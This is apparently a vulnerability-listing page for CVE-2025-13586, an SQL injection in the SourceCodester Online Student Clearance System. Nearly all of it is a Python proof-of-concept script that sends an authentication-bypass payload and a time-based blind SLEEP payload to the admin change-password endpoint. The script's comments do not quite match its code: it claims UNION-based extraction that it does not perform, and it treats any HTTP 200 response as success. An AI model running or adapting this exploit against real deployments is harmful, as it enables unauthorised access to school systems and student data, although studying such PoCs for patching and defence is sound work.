CVE-2025-13586 SourceCodester Online Student Clearance System SQL注入漏洞

import requests import sys # CVE-2025-13586 SQL Injection PoC # Target: SourceCodester Online Student Clearance System 1.0 # Endpoint: /Admin/changepassword.php # Parameter: txtconfirm_password TARGET_URL = "http://target.com/Admin/changepassword.php" def exploit_sql_injection(): """ SQL Injection payload to extract database version Using UNION-based injection technique """ # Basic authentication bypass payload payload = { 'txtconfirm_password': "admin' OR '1'='1", 'txtpassword': 'admin', 'username': 'admin' } try: response = requests.post(TARGET_URL, data=payload, timeout=10) print(f"[*] Request sent to {TARGET_URL}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") # Check for successful injection indicators if 'success' in response.text.lower() or response.status_code == 200: print("[+] Potential SQL Injection detected!") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def blind_sql_injection(): """ Time-based blind SQL injection for data extraction """ # Time-based blind injection payload payload = { 'txtconfirm_password': "admin' AND SLEEP(5)-- -", 'txtpassword': 'admin', 'username': 'admin' } try: import time start = time.time() response = requests.post(TARGET_URL, data=payload, timeout=15) elapsed = time.time() - start if elapsed >= 5: print("[+] Blind SQL Injection confirmed - server delayed response") return True except requests.exceptions.RequestException: pass return False if __name__ == "__main__": print("CVE-2025-13586 SQL Injection PoC") print("=" * 50) exploit_sql_injection() blind_sql_injection()